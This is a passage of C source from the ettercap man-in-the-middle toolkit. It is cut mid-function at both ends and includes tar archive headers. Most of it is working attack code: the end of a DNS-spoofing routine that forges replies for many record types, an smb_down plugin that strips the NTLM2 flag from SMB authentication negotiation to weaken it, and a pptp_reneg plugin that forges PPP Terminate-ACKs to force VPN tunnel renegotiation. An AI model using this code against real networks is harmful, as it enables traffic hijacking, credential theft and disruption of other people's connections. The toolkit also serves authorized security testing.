*n_answ += 1; USER_MSG("dns_spoof: %s [%s] spoofed to [%s] TTL [%u s]\n", type_str(type), name, ip_addr_ntoa(reply, tmp), ttl); } } /* A */ any_aaaa: /* also care about AAAA records */ if (type == ns_t_aaaa || type == ns_t_any) { /* found the reply in the list */ if (get_spoofed_aaaa(name, &reply, &ttl) != E_SUCCESS) { /* in case of ANY we have to proceed with the next section */ if (type == ns_t_any) goto any_mx; else return -E_NOTFOUND; } /* check if the family matches the record type */ if (ntohs(reply->addr_type) != AF_INET6) { USER_MSG("dns_spoof: can not spoof AAAA record for %s " "because the value is not a IPv6 address\n", name); return -E_INVALID; } /* * When spoofed IP address is undefined address, we stop * processing of this section by spoofing a negative-cache reply */ if (ip_addr_is_zero(reply)) { /* * we want to answer this requests with a negative-cache reply * instead of spoofing a IP address */ is_negative = true; } else { /* allocate memory for the answer */ len = 12 + IP6_ADDR_LEN; SAFE_CALLOC(answer, len, sizeof(u_char)); p = answer; /* convert to network-byte order */ dns_ttl = htonl(ttl); /* prepare the answer */ memcpy(p, "\xc0\x0c", 2); /* compressed name offset */ memcpy(p + 2, "\x00\x1c", 2); /* type AAAA */ memcpy(p + 4, "\x00\x01", 2); /* class IN */ memcpy(p + 6, &dns_ttl, 4); /* TTL */ memcpy(p + 10, "\x00\x10", 2); /* datalen */ ip_addr_cpy(p + 12, reply); /* data */ /* insert the answer into the list */ SAFE_CALLOC(rr, 1, sizeof(struct rr_entry)); rr->data = answer; rr->size = len; SLIST_INSERT_HEAD(&answer_list, rr, next); *dns_len += len; *n_answ += 1; USER_MSG("dns_spoof: %s [%s] spoofed to [%s] TTL [%u s]\n", type_str(type), name, ip_addr_ntoa(reply, tmp), ttl); } } /* AAAA */ any_mx: /* it is an MX query (mail to ip) */ if (type == ns_t_mx || type == ns_t_any) { /* found the reply in the list */ if (get_spoofed_mx(name, &reply, &ttl) != E_SUCCESS) { /* in case of ANY we have to proceed with the next section */ if (type == ns_t_any) goto any_wins; else return -E_NOTFOUND; } /* allocate memory for the answer */ len = 12 + 2 + 7; SAFE_CALLOC(answer, len, sizeof(u_char)); p = answer; /* convert to network-byte order */ dns_ttl = htonl(ttl); /* prepare the answer */ memcpy(p, "\xc0\x0c", 2); /* compressed name offset */ memcpy(p + 2, "\x00\x0f", 2); /* type MX */ memcpy(p + 4, "\x00\x01", 2); /* class */ memcpy(p + 6, &dns_ttl, 4); /* TTL */ memcpy(p + 10, "\x00\x09", 2); /* datalen */ memcpy(p + 12, "\x00\x0a", 2); /* preference (highest) */ /* * add "mail." in front of the domain and * resolve it in the additional record * (here `mxoffset' is pointing at) */ memcpy(p + 14, "\x04mail\xc0\x0c", 7); /* mx record */ /* insert the answer into the list */ SAFE_CALLOC(rr, 1, sizeof(struct rr_entry)); rr->data = answer; rr->size = len; SLIST_INSERT_HEAD(&answer_list, rr, next); *dns_len += len; *n_answ += 1; /* add the additional record for the spoofed IPv4 address*/ if (ntohs(reply->addr_type) == AF_INET) { /* allocate memory for the additional record */ len = 17 + IP_ADDR_LEN; SAFE_CALLOC(answer, len, sizeof(u_char)); p = answer; /* prepare the additinal record */ memcpy(p, "\x04mail\xc0\x0c", 7); /* compressed name offset */ memcpy(p + 7, "\x00\x01", 2); /* type A */ memcpy(p + 9, "\x00\x01", 2); /* class */ memcpy(p + 11, &dns_ttl, 4); /* TTL */ memcpy(p + 15, "\x00\x04", 2); /* datalen */ ip_addr_cpy(p + 17, reply); /* data */ } /* add the additional record for the spoofed IPv6 address*/ else if (ntohs(reply->addr_type) == AF_INET6) { /* allocate memory for the additional record */ len = 17 + IP6_ADDR_LEN; SAFE_CALLOC(answer, len, sizeof(u_char)); p = answer; /* prepare the additional record */ memcpy(p, "\x04mail\xc0\x0c", 7); /* compressed name offset */ memcpy(p + 7, "\x00\x1c", 2); /* type AAAA */ memcpy(p + 9, "\x00\x01", 2); /* class */ memcpy(p + 11, &dns_ttl, 4); /* TTL */ memcpy(p + 15, "\x00\x10", 2); /* datalen */ ip_addr_cpy(p + 17, reply); /* data */ } else { /* IP address not valid - abort */ return -E_INVALID; } /* insert the answer into the list */ SAFE_CALLOC(rr, 1, sizeof(struct rr_entry)); rr->data = answer; rr->size = len; SLIST_INSERT_HEAD(&additional_list, rr, next); *dns_len += len; *n_addi += 1; USER_MSG("dns_spoof: %s [%s] spoofed to [%s] TTL [%u s]\n", type_str(type), name, ip_addr_ntoa(reply, tmp), ttl); } /* MX */ any_wins: /* it is an WINS query (NetBIOS-name to ip) */ if (type == ns_t_wins || type == ns_t_any) { /* found the reply in the list */ if (get_spoofed_wins(name, &reply, &ttl) != E_SUCCESS) { /* in case of ANY we have to proceed with the next section */ if (type == ns_t_any) goto any_txt; else return -E_NOTFOUND; } if (ntohs(reply->addr_type) != AF_INET) /* XXX - didn't find any documentation about this standard * and if type WINS RR only supports IPv4 */ return -E_INVALID; /* allocate memory for the answer */ len = 12 + IP_ADDR_LEN; SAFE_CALLOC(answer, len, sizeof(u_char)); p = answer; /* convert to network-byte order */ dns_ttl = htonl(ttl); /* prepare the answer */ memcpy(p, "\xc0\x0c", 2); /* compressed name offset */ memcpy(p + 2, "\xff\x01", 2); /* type WINS */ memcpy(p + 4, "\x00\x01", 2); /* class IN */ memcpy(p + 6, &dns_ttl, 4); /* TTL */ memcpy(p + 10, "\x00\x04", 2); /* datalen */ ip_addr_cpy((u_char*)p + 12, reply); /* data */ /* insert the answer into the list */ SAFE_CALLOC(rr, 1, sizeof(struct rr_entry)); rr->data = answer; rr->size = len; SLIST_INSERT_HEAD(&answer_list, rr, next); *dns_len += len; *n_answ += 1; USER_MSG("dns_spoof: %s [%s] spoofed to [%s] TTL [%u s]\n", type_str(type), name, ip_addr_ntoa(reply, tmp), ttl); } any_txt: /* it's a descriptive TXT record */ if (type == ns_t_txt || type == ns_t_any) { char *txt; u_int8 txtlen; u_int16 datalen; /* found the reply in the list */ if (get_spoofed_txt(name, &txt, &ttl) != E_SUCCESS) { /* in case of ANY we have to proceed with the next section */ if (type == ns_t_any) goto exit; else return -E_NOTFOUND; } txtlen = strlen(txt); datalen = htons(txtlen + 1); /* allocate memory for the answer */ len = 13 + txtlen; SAFE_CALLOC(answer, len, sizeof(u_char)); p = answer; /* convert to network-byte order */ dns_ttl = htonl(ttl); /* prepare the answer */ memcpy(p, "\xc0\x0c", 2); /* compressed name offset */ memcpy(p + 2, "\x00\x10", 2); /* type TXT */ memcpy(p + 4, "\x00\x01", 2); /* class IN */ memcpy(p + 6, &dns_ttl, 4); /* TTL */ memcpy(p + 10, &datalen, 2); /* data len */ memcpy(p + 12, &txtlen, 1); /* TXT len */ memcpy(p + 13, txt, txtlen); /* string */ /* insert the answer into the list */ SAFE_CALLOC(rr, 1, sizeof(struct rr_entry)); rr->data = answer; rr->size = len; SLIST_INSERT_HEAD(&answer_list, rr, next); *dns_len += len; *n_answ += 1; USER_MSG("dns_spoof: %s [%s] spoofed to \"%s\" TTL [%u s]\n", type_str(type), name, txt, ttl); } /* TXT */ /* it is a reverse query (ip to name) */ if (type == ns_t_ptr) { u_char *answer, *p; char *a; u_char buf[256]; int rlen; /* found the reply in the list */ if (get_spoofed_ptr(name, &a, &ttl) != E_SUCCESS) return -E_NOTFOUND; /* compress the string into the buffer */ rlen = dn_comp(a, buf, 256, NULL, NULL); /* allocate memory for the answer */ len = 12 + rlen; SAFE_CALLOC(answer, len, sizeof(u_char)); p = answer; /* convert to network-byte order */ dns_ttl = htonl(ttl); /* prepare the answer */ memcpy(p, "\xc0\x0c", 2); /* compressed name offset */ memcpy(p + 2, "\x00\x0c", 2); /* type PTR */ memcpy(p + 4, "\x00\x01", 2); /* class */ memcpy(p + 6, &dns_ttl, 4); /* TTL */ /* put the length before the dn_comp'd string */ p += 10; NS_PUT16(rlen, p); p -= 12; memcpy(p + 12, buf, rlen); /* insert the answer into the list */ SAFE_CALLOC(rr, 1, sizeof(struct rr_entry)); rr->data = answer; rr->size = len; SLIST_INSERT_HEAD(&answer_list, rr, next); *dns_len += len; *n_answ += 1; USER_MSG("dns_spoof: %s [%s] spoofed to [%s] TTL [%u s]\n", type_str(type), name, a, ttl); } /* PTR */ /* it is a SRV query (service discovery) */ if (type == ns_t_srv) { char tgtoffset[2]; u_int16 port; int dn_offset = 0; /* found the reply in the list */ if (get_spoofed_srv(name, &reply, &port, &ttl) != E_SUCCESS) return -E_NOTFOUND; /* allocate memory for the answer */ len = 24; SAFE_CALLOC(answer, len, sizeof(u_char)); p = answer; /* * to refer the target to a proper domain name, we have to strip the * service and protocol label from the questioned domain name */ dn_offset += *(data+dn_offset) + 1; /* first label (e.g. _ldap)*/ dn_offset += *(data+dn_offset) + 1; /* second label (e.g. _tcp) */ /* avoid offset overrun */ if (dn_offset + 12 > 255) { dn_offset = 0; } tgtoffset[0] = 0xc0; /* offset byte */ tgtoffset[1] = 12 + dn_offset; /* offset to the actual domain name */ /* convert to network-byte order */ dns_ttl = htonl(ttl); /* prepare the answer */ memcpy(p, "\xc0\x0c", 2); /* compressed name offset */ memcpy(p + 2, "\x00\x21", 2); /* type SRV */ memcpy(p + 4, "\x00\x01", 2); /* class IN */ memcpy(p + 6, &dns_ttl, 4); /* TTL */ memcpy(p + 10, "\x00\x0c", 2); /* data length */ memcpy(p + 12, "\x00\x00", 2); /* priority */ memcpy(p + 14, "\x00\x00", 2); /* weight */ p+=16; NS_PUT16(port, p); /* port */ p-=18; /* * add "srv." in front of the stripped domain * name and resolve it in the additional * record (here `srvoffset' is pointing at) */ memcpy(p + 18, "\x03srv", 4); /* target */ memcpy(p + 22, tgtoffset, 2); /* compressed name offset */ /* insert the answer into the list */ SAFE_CALLOC(rr, 1, sizeof(struct rr_entry)); rr->data = answer; rr->size = len; SLIST_INSERT_HEAD(&answer_list, rr, next); *dns_len += len; *n_answ += 1; /* add the additional record for the spoofed IPv4 address */ if (ntohs(reply->addr_type) == AF_INET) { /* allocate memory for the additional record */ len = 16 + IP_ADDR_LEN; SAFE_CALLOC(answer, len, sizeof(u_char)); p = answer; /* prepare the additional record */ memcpy(p, "\x03srv", 4); /* target */ memcpy(p + 4, tgtoffset, 2); /* compressed name offset */ memcpy(p + 6, "\x00\x01", 2); /* type A */ memcpy(p + 8, "\x00\x01", 2); /* class */ memcpy(p + 10, &dns_ttl, 4); /* TTL */ memcpy(p + 14, "\x00\x04", 2); /* datalen */ ip_addr_cpy(p + 16, reply); /* data */ } /* add the additional record for the spoofed IPv6 address*/ else if (ntohs(reply->addr_type) == AF_INET6) { /* allocate memory for the additional record */ len = 16 + IP6_ADDR_LEN; SAFE_CALLOC(answer, len, sizeof(u_char)); p = answer; memcpy(p, "\x03srv", 4); /* target */ memcpy(p + 4, tgtoffset, 2); /* compressed name offset */ memcpy(p + 6, "\x00\x1c", 2); /* type AAAA */ memcpy(p + 8, "\x00\x01", 2); /* class */ memcpy(p + 10, &dns_ttl, 4); /* TTL */ memcpy(p + 14, "\x00\x10", 2); /* datalen */ ip_addr_cpy(p + 16, reply); /* data */ } else { /* IP address not valid - abort */ return -E_INVALID; } /* insert the answer into the list */ SAFE_CALLOC(rr, 1, sizeof(struct rr_entry)); rr->data = answer; rr->size = len; SLIST_INSERT_HEAD(&additional_list, rr, next); *dns_len += len; *n_addi += 1; USER_MSG("dns_spoof: %s [%s] spoofed to [%s:%d] TTL [%u s]\n", type_str(type), name, ip_addr_ntoa(reply, tmp), port, ttl); } /* SRV */ if (is_negative && type != ns_t_any) { /* allocate memory for authorative answer */ len = 46; SAFE_CALLOC(answer, len, sizeof(u_char)); p = answer; /* convert to network-byte order */ dns_ttl = htonl(ttl); /* prepare the authorative record */ memcpy(p, "\xc0\x0c", 2); /* compressed named offset */ memcpy(p + 2, "\x00\x06", 2); /* type SOA */ memcpy(p + 4, "\x00\x01", 2); /* class */ memcpy(p + 6, &dns_ttl, 4); /* TTL (seconds) */ memcpy(p + 10, "\x00\x22", 2); /* datalen */ memcpy(p + 12, "\x03ns1", 4); /* primary server */ memcpy(p + 16, "\xc0\x0c", 2); /* compressed name offeset */ memcpy(p + 18, "\x05""abuse", 6); /* mailbox */ memcpy(p + 24, "\xc0\x0c", 2); /* compressed name offset */ memcpy(p + 26, "\x51\x79\x57\xf5", 4); /* serial */ memcpy(p + 30, "\x00\x00\x0e\x10", 4); /* refresh interval */ memcpy(p + 34, "\x00\x00\x02\x58", 4); /* retry interval */ memcpy(p + 38, "\x00\x09\x3a\x80", 4); /* erpire limit */ memcpy(p + 42, "\x00\x00\x00\x3c", 4); /* minimum TTL */ /* insert the answer into the list */ SAFE_CALLOC(rr, 1, sizeof(struct rr_entry)); rr->data = answer; rr->size = len; SLIST_INSERT_HEAD(&authority_list, rr, next); *dns_len += len; *n_auth += 1; USER_MSG("dns_spoof: negative cache spoofed for [%s] type %s, TTL [%u s]\n", name, type_str(type), ttl); } /* SOA */ exit: return E_SUCCESS; } /* * return the ip address for the name - IPv4 */ static int get_spoofed_a(const char *a, struct ip_addr **ip, u_int32 *ttl) { struct dns_spoof_entry *d; SLIST_FOREACH(d, &dns_spoof_head, next) { if (d->type == ns_t_a && match_pattern(a, d->name)) { /* return the pointer to the struct */ *ip = &d->ip; *ttl = d->ttl; return E_SUCCESS; } } return -E_NOTFOUND; } /* * return the ip address for the name - IPv6 */ static int get_spoofed_aaaa(const char *a, struct ip_addr **ip, u_int32 *ttl) { struct dns_spoof_entry *d; SLIST_FOREACH(d, &dns_spoof_head, next) { if (d->type == ns_t_aaaa && match_pattern(a, d->name)) { /* return the pointer to the struct */ *ip = &d->ip; *ttl = d->ttl; return E_SUCCESS; } } return -E_NOTFOUND; } /* * return the TXT string for the name */ static int get_spoofed_txt(const char *name, char **txt, u_int32 *ttl) { struct dns_spoof_entry *d; SLIST_FOREACH(d, &dns_spoof_head, next) { if (d->type == ns_t_txt && match_pattern(name, d->name)) { /* return the pointer to the string */ *txt = d->text; *ttl = d->ttl; return E_SUCCESS; } } return -E_NOTFOUND; } /* * return the name for the ip address */ static int get_spoofed_ptr(const char *arpa, char **a, u_int32 *ttl) { struct dns_spoof_entry *d; struct ip_addr ptr; unsigned int oct[32]; int len, v4len, v6len; u_char ipv4[4]; u_char ipv6[16]; char v4tld[] = "in-addr.arpa"; char v6tld[] = "ip6.arpa"; len = strlen(arpa); v4len = strlen(v4tld); v6len = strlen(v6tld); /* Check the top level domain of the PTR query - IPv4 */ if (strncmp(arpa + len - v4len, v4tld, v4len) == 0) { /* parses the arpa format */ if (sscanf(arpa, "%d.%d.%d.%d.in-addr.arpa", &oct[3], &oct[2], &oct[1], &oct[0]) != 4) return -E_INVALID; /* collect octets */ ipv4[0] = oct[0] & 0xff; ipv4[1] = oct[1] & 0xff; ipv4[2] = oct[2] & 0xff; ipv4[3] = oct[3] & 0xff; /* init the ip_addr structure */ ip_addr_init(&ptr, AF_INET, ipv4); } /* check the top level domain of the PTR query - IPv6 */ else if (strncmp(arpa + len - v6len, v6tld, v6len) == 0) { /* parses the ip6.arpa format for IPv6 reverse pointer */ if (sscanf(arpa, "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x." "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x." "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x." "%1x.%1x.%1x.%1x.%1x.ip6.arpa", &oct[31], &oct[30], &oct[29], &oct[28], &oct[27], &oct[26], &oct[25], &oct[24], &oct[23], &oct[22], &oct[21], &oct[20], &oct[19], &oct[18], &oct[17], &oct[16], &oct[15], &oct[14], &oct[13], &oct[12], &oct[11], &oct[10], &oct[9], &oct[8], &oct[7], &oct[6], &oct[5], &oct[4], &oct[3], &oct[2], &oct[1], &oct[0]) != 32) { return -E_INVALID; } /* collect octets */ ipv6[0] = (oct[0] << 4) | oct[1]; ipv6[1] = (oct[2] << 4) | oct[3]; ipv6[2] = (oct[4] << 4) | oct[5]; ipv6[3] = (oct[6] << 4) | oct[7]; ipv6[4] = (oct[8] << 4) | oct[9]; ipv6[5] = (oct[10] << 4) | oct[11]; ipv6[6] = (oct[12] << 4) | oct[13]; ipv6[7] = (oct[14] << 4) | oct[15]; ipv6[8] = (oct[16] << 4) | oct[17]; ipv6[9] = (oct[18] << 4) | oct[19]; ipv6[10] = (oct[20] << 4) | oct[21]; ipv6[11] = (oct[22] << 4) | oct[23]; ipv6[12] = (oct[24] << 4) | oct[25]; ipv6[13] = (oct[26] << 4) | oct[27]; ipv6[14] = (oct[28] << 4) | oct[29]; ipv6[15] = (oct[30] << 4) | oct[31]; /* init the ip_addr structure */ ip_addr_init(&ptr, AF_INET6, ipv6); } /* search in the list */ SLIST_FOREACH(d, &dns_spoof_head, next) { /* * we cannot return whildcards in the reply, * so skip the entry if the name contains a '*' */ if (d->type == ns_t_ptr && !ip_addr_cmp(&ptr, &d->ip)) { /* return the pointer to the name */ *a = d->name; *ttl = d->ttl; return E_SUCCESS; } } return -E_NOTFOUND; } /* * return the ip address for the name (MX records) */ static int get_spoofed_mx(const char *a, struct ip_addr **ip, u_int32 *ttl) { struct dns_spoof_entry *d; SLIST_FOREACH(d, &dns_spoof_head, next) { if (d->type == ns_t_mx && match_pattern(a, d->name)) { /* return the pointer to the struct */ *ip = &d->ip; *ttl = d->ttl; return E_SUCCESS; } } return -E_NOTFOUND; } /* * return the ip address for the name (NetBIOS WINS records) */ static int get_spoofed_wins(const char *a, struct ip_addr **ip, u_int32 *ttl) { struct dns_spoof_entry *d; SLIST_FOREACH(d, &dns_spoof_head, next) { if (d->type == ns_t_wins && match_pattern(a, d->name)) { /* return the pointer to the struct */ *ip = &d->ip; *ttl = d->ttl; return E_SUCCESS; } } return -E_NOTFOUND; } /* * return the target for the SRV request */ static int get_spoofed_srv(const char *name, struct ip_addr **ip, u_int16 *port, u_int32 *ttl) { struct dns_spoof_entry *d; SLIST_FOREACH(d, &dns_spoof_head, next) { if (d->type == ns_t_srv && match_pattern(name, d->name)) { /* return the pointer to the struct */ *ip = &d->ip; *port = d->port; *ttl = d->ttl; return E_SUCCESS; } } return -E_NOTFOUND; } char *type_str (int type) { return (type == ns_t_a ? "A" : type == ns_t_aaaa ? "AAAA" : type == ns_t_ptr ? "PTR" : type == ns_t_mx ? "MX" : type == ns_t_wins ? "WINS" : type == ns_t_srv ? "SRV" : type == ns_t_any ? "ANY" : type == ns_t_txt ? "TXT" : "??"); } static void dns_spoof_dump(void) { struct dns_spoof_entry *d; char tmp[MAX_ASCII_ADDR_LEN]; /* Unused variable */ (void) tmp; DEBUG_MSG("dns_spoof entries:"); SLIST_FOREACH(d, &dns_spoof_head, next) { if (d->type == ns_t_txt) { DEBUG_MSG(" %s -> \"%s\", type %s, TTL %u", d->name, d->text, type_str(d->type), d->ttl); } else if (ntohs(d->ip.addr_type) == AF_INET) { if (d->type == ns_t_srv) { DEBUG_MSG(" %s -> [%s:%d], type %s, TTL %u, family IPv4", d->name, ip_addr_ntoa(&d->ip, tmp), d->port, type_str(d->type), d->ttl); } else { DEBUG_MSG(" %s -> [%s], type %s, TTL %u, family IPv4", d->name, ip_addr_ntoa(&d->ip, tmp), type_str(d->type), d->ttl); } } else if (ntohs(d->ip.addr_type) == AF_INET6) { if (d->type == ns_t_srv) { DEBUG_MSG(" %s -> [%s:%d], type %s, TTL %u, family IPv6", d->name, ip_addr_ntoa(&d->ip, tmp), d->port, type_str(d->type), d->ttl); } else { DEBUG_MSG(" %s -> [%s], type %s, TTL %u, family IPv6", d->name, ip_addr_ntoa(&d->ip, tmp), type_str(d->type), d->ttl); } } else { DEBUG_MSG(" %s -> ??", d->name); } } } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/finger_submit/0000755000175000017500000000000013505247364017567 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/finger_submit/finger_submit.c0000644000175000017500000000614513505247364022576 0ustar koeppeakoeppea/* finger_submit -- ettercap plugin -- submit a fingerprint to ettercap website Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include #include /* globals */ /* protos */ int plugin_load(void *); static int finger_submit_init(void *); static int finger_submit_fini(void *); /* plugin operations */ struct plugin_ops finger_submit_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "finger_submit", /* a short description of the plugin (max 50 chars) */ .info = "Submit a fingerprint to ettercap's website", /* the plugin version. */ .version = "1.0", /* activation function */ .init = &finger_submit_init, /* deactivation function */ .fini = &finger_submit_fini, }; /**********************************************************/ /* this function is called on plugin load */ int plugin_load(void *handle) { return plugin_register(handle, &finger_submit_ops); } /******************* STANDARD FUNCTIONS *******************/ static int finger_submit_init(void *dummy) { char finger[FINGER_LEN + 1]; char os[OS_LEN + 1]; /* variable not used */ (void) dummy; /* don't display messages while operating */ EC_GBL_OPTIONS->quiet = 1; memset(finger, 0, sizeof(finger)); memset(os, 0, sizeof(finger)); /* get the user input */ ui_input("Fingerprint ('quit' to exit) : ", finger, sizeof(finger), NULL); /* exit on user request */ if (!strcasecmp(finger, "quit") || !strcmp(finger, "")) return PLUGIN_FINISHED; ui_input("Operating System ('quit' to exit) : ", os, sizeof(os), NULL); /* exit on user request */ if (!strcasecmp(os, "quit") || !strcmp(os, "")) return PLUGIN_FINISHED; USER_MSG("\n"); /* send the fingerprint */ fingerprint_submit(finger, os); /* flush all the messages */ ui_msg_flush(MSG_ALL); return PLUGIN_FINISHED; } static int finger_submit_fini(void *dummy) { /* variable not used */ (void) dummy; return PLUGIN_FINISHED; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/smb_down/0000755000175000017500000000000013505247364016542 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/smb_down/smb_down.c0000644000175000017500000001034113505247364020515 0ustar koeppeakoeppea/* smb_down -- ettercap plugin -- Tries to force no NTLM2 key Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include typedef struct { u_char proto[4]; u_char cmd; u_char err[4]; u_char flags1; u_short flags2; u_short pad[6]; u_short tid, pid, uid, mid; } SMB_header; typedef struct { u_char mesg; u_char flags; u_short len; } NetBIOS_header; #define NTLM2_KEY 0x00000800 /* protos */ int plugin_load(void *); static int smb_down_init(void *); static int smb_down_fini(void *); static void parse_smb(struct packet_object *po); /* plugin operations */ struct plugin_ops smb_down_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "smb_down", /* a short description of the plugin (max 50 chars) */ .info = "Tries to force SMB to not use NTLM2 key auth", /* the plugin version. */ .version = "1.0", /* activation function */ .init = &smb_down_init, /* deactivation function */ .fini = &smb_down_fini, }; /**********************************************************/ /* this function is called on plugin load */ int plugin_load(void *handle) { return plugin_register(handle, &smb_down_ops); } /******************* STANDARD FUNCTIONS *******************/ static int smb_down_init(void *dummy) { /* variable not used */ (void) dummy; /* It doesn't work if unoffensive */ if (EC_GBL_OPTIONS->unoffensive) { INSTANT_USER_MSG("smb_down: plugin doesn't work in UNOFFENSIVE mode\n"); return PLUGIN_FINISHED; } USER_MSG("smb_down: plugin running...\n"); hook_add(HOOK_PROTO_SMB_CHL, &parse_smb); return PLUGIN_RUNNING; } static int smb_down_fini(void *dummy) { /* variable not used */ (void) dummy; USER_MSG("smb_down: plugin terminated...\n"); hook_del(HOOK_PROTO_SMB_CHL, &parse_smb); return PLUGIN_FINISHED; } /*********************************************************/ /* Clear the encryption bit in the SecurityModel request */ static void parse_smb(struct packet_object *po) { SMB_header *smb; NetBIOS_header *NetBIOS; u_char *ptr; u_int32 *Flags; char tmp[MAX_ASCII_ADDR_LEN]; /* It is pointless to modify packets that won't be forwarded */ if (!(po->flags & PO_FORWARDABLE)) return; /* Catch netbios and smb headers */ NetBIOS = (NetBIOS_header *)po->DATA.data; smb = (SMB_header *)(NetBIOS + 1); /* Let's go to the data */ ptr = (u_char *)(smb + 1); /* According to the Hook Point we are sure that this is * a SessionSetup request packet. * Let's check if it's NTLMSSP_NEGOTIATE */ ptr += ( (*ptr) * 2 + 3 ); if ( (ptr = memmem(ptr, 128, "NTLMSSP", 8)) == NULL) return; ptr = (u_char*)strchr((char*)ptr, 0); ptr++; /* NTLMSSP_NEGOTIATE */ if (*ptr != 1) return; ptr+=4; /* Catch the flags */ Flags = (u_int32 *)ptr; if (*Flags & ntohl(NTLM2_KEY)) { *Flags ^= ntohl(NTLM2_KEY); USER_MSG("smb_down: Forced no NTLM2 key %s -> ", ip_addr_ntoa(&po->L3.src, tmp)); USER_MSG("%s\n", ip_addr_ntoa(&po->L3.dst, tmp)); po->flags |= PO_MODIFIED; } } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/pptp_reneg/0000755000175000017500000000000013505247364017075 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/pptp_reneg/pptp_reneg.c0000644000175000017500000001270613505247364021412 0ustar koeppeakoeppea/* pptp_reneg -- ettercap plugin -- Forces re-negotiation on an existing PPTP tunnel Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include struct ppp_header { u_char address; u_char control; u_int16 proto; }; struct ppp_lcp_header { u_char code; u_char ident; u_int16 length; }; #define PPP_TERMINATE_ACK 0x06 #define PPP_PROTO_LCP 0xc021 /* Remember what tunnels we have terminated */ struct call_list { struct ip_addr ip[2]; SLIST_ENTRY(call_list) next; }; SLIST_HEAD(, call_list) call_table; /* protos */ int plugin_load(void *); static int pptp_reneg_init(void *); static int pptp_reneg_fini(void *); static void parse_ppp(struct packet_object *po); static int found_in_list(struct packet_object *po); /* plugin operations */ struct plugin_ops pptp_reneg_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = EC_VERSION, /* the name of the plugin */ .name = "pptp_reneg", /* a short description of the plugin (max 50 chars) */ .info = "PPTP: Forces tunnel re-negotiation", /* the plugin version. */ .version = "1.0", /* activation function */ .init = &pptp_reneg_init, /* deactivation function */ .fini = &pptp_reneg_fini, }; /**********************************************************/ /* this function is called on plugin load */ int plugin_load(void *handle) { return plugin_register(handle, &pptp_reneg_ops); } /******************* STANDARD FUNCTIONS *******************/ static int pptp_reneg_init(void *dummy) { /* variable not used */ (void) dummy; /* It doesn't work if unoffensive */ if (EC_GBL_OPTIONS->unoffensive) { INSTANT_USER_MSG("pptp_reneg: plugin doesn't work in UNOFFENSIVE mode\n"); return PLUGIN_FINISHED; } USER_MSG("pptp_reneg: plugin running...\n"); hook_add(HOOK_PACKET_PPP, &parse_ppp); return PLUGIN_RUNNING; } static int pptp_reneg_fini(void *dummy) { struct call_list *p; /* variable not used */ (void) dummy; USER_MSG("pptp_reneg: plugin terminated...\n"); hook_del(HOOK_PACKET_PPP, &parse_ppp); /* delete terminated tunnel list */ while (!SLIST_EMPTY(&call_table)) { p = SLIST_FIRST(&call_table); SLIST_REMOVE_HEAD(&call_table, next); SAFE_FREE(p); } return PLUGIN_FINISHED; } /*********************************************************/ /* Force renegotiation by spoofing a Terminate-ACK */ static void parse_ppp(struct packet_object *po) { struct ppp_lcp_header *lcp; struct ppp_header *ppp; char tmp[MAX_ASCII_ADDR_LEN]; /* It is pointless to modify packets that won't be forwarded */ if (!(po->flags & PO_FORWARDABLE)) return; /* Do not terminate same tunnel twice */ if (found_in_list(po)) return; ppp = (struct ppp_header *)po->L4.header; lcp = (struct ppp_lcp_header *)(ppp + 1); /* We assume a new connection...so no reset */ if (ppp->proto == ntohs(PPP_PROTO_LCP)) return; /* Change the packet into a Terminate-ACK */ ppp->proto = htons(PPP_PROTO_LCP); ppp->address = 0xff; ppp->control = 0x3; lcp->code = PPP_TERMINATE_ACK; lcp->ident = 0x01; /* or a higher value */ lcp->length = htons(sizeof(*lcp)); /* Notify the changes to previous decoders */ po->flags |= PO_MODIFIED; /* Use DATA.delta to notify ppp packet len modification */ po->DATA.delta = sizeof(struct ppp_lcp_header) + sizeof(struct ppp_header) - po->L4.len; USER_MSG("pptp_reneg: Forced tunnel re-negotiation %s -> ", ip_addr_ntoa(&po->L3.src, tmp)); USER_MSG("%s\n", ip_addr_ntoa(&po->L3.dst, tmp)); } /* Check if we already terminated this tunnel once */ static int found_in_list(struct packet_object *po) { struct call_list *p; /* Check if the addresses are consistent */ if (ip_addr_null(&po->L3.dst) || ip_addr_null(&po->L3.src)) return 1; /* Check if we already terminated this tunnel once */ SLIST_FOREACH(p, &call_table, next) { 